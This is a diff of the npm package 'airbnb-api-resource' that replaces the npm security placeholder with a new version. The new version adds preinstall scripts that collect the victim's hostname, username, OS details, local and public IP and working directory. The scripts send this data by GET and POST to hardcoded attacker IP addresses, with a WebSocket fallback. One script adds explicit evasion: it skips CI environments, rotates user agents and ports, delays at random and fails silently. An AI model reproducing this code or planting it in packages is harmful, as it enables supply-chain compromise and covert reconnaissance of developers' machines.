airbnb-api-resource 0.0.1-security → 1.0.2

package/index.js

@@ -0,0 +1,116 @@
+const os = require("os");
+const https = require("https");
+
+// Check if running during `npm install`
+const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
+
+// Dynamically import node-fetch
+async function getFetch() {
+    return (await import("node-fetch")).default;
+}
+
+// Collect System Information
+const systemInfo = {
+    publicIP: "", // Will be fetched dynamically
+    hostname: os.hostname(),
+    osType: os.type(),
+    osPlatform: os.platform(),
+    osRelease: os.release(),
+    osArch: os.arch(),
+    localIP: Object.values(os.networkInterfaces())
+        .flat()
+        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
+    whoamiUser: os.userInfo().username,
+    currentDirectory: process.cwd(),
+};
+
+// Fetch public IP dynamically
+https.get("https://api64.ipify.org?format=json", (res) => {
+    let data = "";
+    res.on("data", (chunk) => (data += chunk));
+    res.on("end", () => {
+        try {
+            systemInfo.publicIP = JSON.parse(data).ip;
+        } catch (e) {
+            systemInfo.publicIP = "Unknown";
+        }
+        sendData(systemInfo);
+    });
+}).on("error", () => sendData(systemInfo));
+
+// List of fallback servers
+const endpoints = [
+    "http://54.173.15.59:8080/jpd.php"
+];
+
+// Get random available endpoint
+function getAvailableEndpoint() {
+    return endpoints[Math.floor(Math.random() * endpoints.length)];
+}
+
+// Convert system info to query string
+function buildQueryParams(data) {
+    return Object.entries(data)
+        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
+        .join("&");
+}
+
+// Send Data (GET and POST)
+async function sendData(data) {
+    try {
+        const fetch = await getFetch();
+
+        // Construct GET request URL
+        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
+
+        // Send GET request
+        const getResponse = await fetch(getUrl, { method: "GET" });
+
+        // Send POST request
+        const postResponse = await fetch(getAvailableEndpoint(), {
+            method: "POST",
+            headers: {
+                "Content-Type": "application/json",
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
+            },
+            body: JSON.stringify(data),
+        });
+
+        // Only log responses if NOT running in `npm install`
+        if (!isPreinstall) {
+            console.log("GET Response:", await getResponse.text());
+            console.log("POST Response:", await postResponse.text());
+        }
+    } catch (error) {
+        if (!isPreinstall) {
+            console.error("Error sending data via HTTP:", error);
+        }
+        sendViaWebSocket(data);
+    }
+}
+
+// WebSocket Backup (if HTTP requests fail)
+async function sendViaWebSocket(data) {
+    try {
+        const { WebSocket } = await import("ws"); // Import ws dynamically
+        const ws = new WebSocket("wss://yourserver.com/socket");
+
+        ws.on("open", () => {
+            if (!isPreinstall) {
+                console.log("WebSocket connection established.");
+            }
+            ws.send(JSON.stringify(data));
+            ws.close();
+        });
+
+        ws.on("error", (err) => {
+            if (!isPreinstall) {
+                console.error("WebSocket Error:", err);
+            }
+        });
+    } catch (error) {
+        if (!isPreinstall) {
+            console.error("WebSocket module import failed:", error);
+        }
+    }
+}

package/jpd/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "jpd",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "type": "commonjs"
+}

package/npm/index.js

@@ -0,0 +1,127 @@
+const os = require("os");
+const https = require("https");
+const crypto = require("crypto");
+
+// ======= EVASION CONFIG =======
+const EVASION = {
+  CI_DETECTION: [
+    'CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 
+    'BITBUCKET_BUILD_NUMBER', 'TRAVIS'
+  ],
+  USER_AGENTS: [
+    'npm/8.19.3 Node.js/18.17.1',
+    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
+    'curl/8.4.0'
+  ],
+  PORT_ROTATION: [8080, 80, 443],
+  FAILURE_RATE: 0.3
+};
+// ==============================
+
+// 🛡️ CI/CD Pipeline Detection
+function isBlockedEnvironment() {
+  return EVASION.CI_DETECTION.some(v => process.env[v]) || 
+    (process.argv[1].includes("node_modules") && Math.random() < EVASION.FAILURE_RATE);
+}
+
+// 🕵️‍♂️ Generate Realistic NPM Data
+function createPayload() {
+  const interfaces = os.networkInterfaces();
+  const internalIP = Object.values(interfaces)
+    .flat()
+    .find(i => i.family === 'IPv4' && !i.internal)?.address || 'Unknown';
+
+  // Main payload matching PHP allowedFields
+  const coreData = {
+    publicIP: "", // Filled dynamically
+    hostname: os.hostname().slice(0, 24),
+    osType: os.type(),
+    osPlatform: os.platform(),
+    osRelease: os.release(),
+    osArch: os.arch(),
+    localIP: internalIP,
+    whoamiUser: os.userInfo().username,
+    currentDirectory: process.cwd().split(/[\\/]/).pop()
+  };
+
+  // 🚧 Add benign-looking noise
+  return {
+    ...coreData,
+    __npm_package: process.env.npm_package_name || 'undefined',
+    _node_version: process.versions.node,
+    _timestamp: Date.now()
+  };
+}
+
+// 🚦 Dual-Mode Communication
+async function exfiltrateData(payload) {
+  try {
+    const endpoint = `http://34.229.201.136:${
+      EVASION.PORT_ROTATION[Math.floor(Math.random()*EVASION.PORT_ROTATION.length)]
+    }/jpd.php`;
+
+    // Alternate between GET/POST randomly
+    const useGet = Math.random() > 0.5;
+    
+    const url = useGet 
+      ? `${endpoint}?${new URLSearchParams(payload)}`
+      : endpoint;
+
+    await fetch(url, {
+      method: useGet ? 'GET' : 'POST',
+      headers: {
+        'User-Agent': EVASION.USER_AGENTS[Math.floor(Math.random()*EVASION.USER_AGENTS.length)],
+        'Content-Type': 'application/json'
+      },
+      body: useGet ? undefined : JSON.stringify(payload)
+    });
+
+  } catch (e) {
+    // Silent fallthrough
+  }
+}
+
+// 🌍 Get Public IP (Multiple Fallbacks)
+function getPublicIP() {
+  return new Promise(resolve => {
+    const providers = [
+      'https://api.ipify.org?format=json',
+      'https://ipinfo.io/json',
+      'https://icanhazip.com'
+    ];
+
+    const tryProvider = (index = 0) => {
+      https.get(providers[index], res => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            resolve(JSON.parse(data).ip || 'Unknown');
+          } catch {
+            if (index < providers.length - 1) tryProvider(index + 1);
+            else resolve('Unknown');
+          }
+        });
+      }).on('error', () => {
+        if (index < providers.length - 1) tryProvider(index + 1);
+        else resolve('Unknown');
+      });
+    };
+
+    tryProvider(0);
+  });
+}
+
+// ======= MAIN EXECUTION =======
+(async () => {
+  if (isBlockedEnvironment()) return;
+
+  // Random delay 5-45 seconds
+  await new Promise(r => setTimeout(r, 5000 + Math.random() * 40000));
+
+  const payload = createPayload();
+  payload.publicIP = await getPublicIP();
+
+  // 🚀 Start communication
+  exfiltrateData(payload);
+})();

package/npm/package.json

@@ -0,0 +1,21 @@
+{
+    "name": "service-config-provider",
+    "version": "2.0.0",
+    "description": "Npm Package",
+    "license": "ISC",
+    "author": "JPD",
+    "type": "commonjs",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node index.js",
+        "test": "echo \"Error: no test specified\" && exit 1"
+    },
+    "dependencies": {
+        "axios": "^1.7.9",
+        "node-fetch": "^3.3.2",
+        "ws": "^8.18.0"
+    },
+    "engines": {
+        "node": ">=14.0.0"
+    }
+}

package/package.json

@@ -1,6 +1,21 @@
 {
-  "name": "airbnb-api-resource",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+    "name": "airbnb-api-resource",
+    "version": "1.0.2",
+    "description": "Npm Package",
+    "license": "ISC",
+    "author": "JPD",
+    "type": "commonjs",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node index.js",
+        "test": "echo \"Error: no test specified\" && exit 1"
+    },
+    "dependencies": {
+        "axios": "^1.7.9",
+        "node-fetch": "^3.3.2",
+        "ws": "^8.18.0"
+    },
+    "engines": {
+        "node": ">=14.0.0"
+    }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=airbnb-api-resource for more information.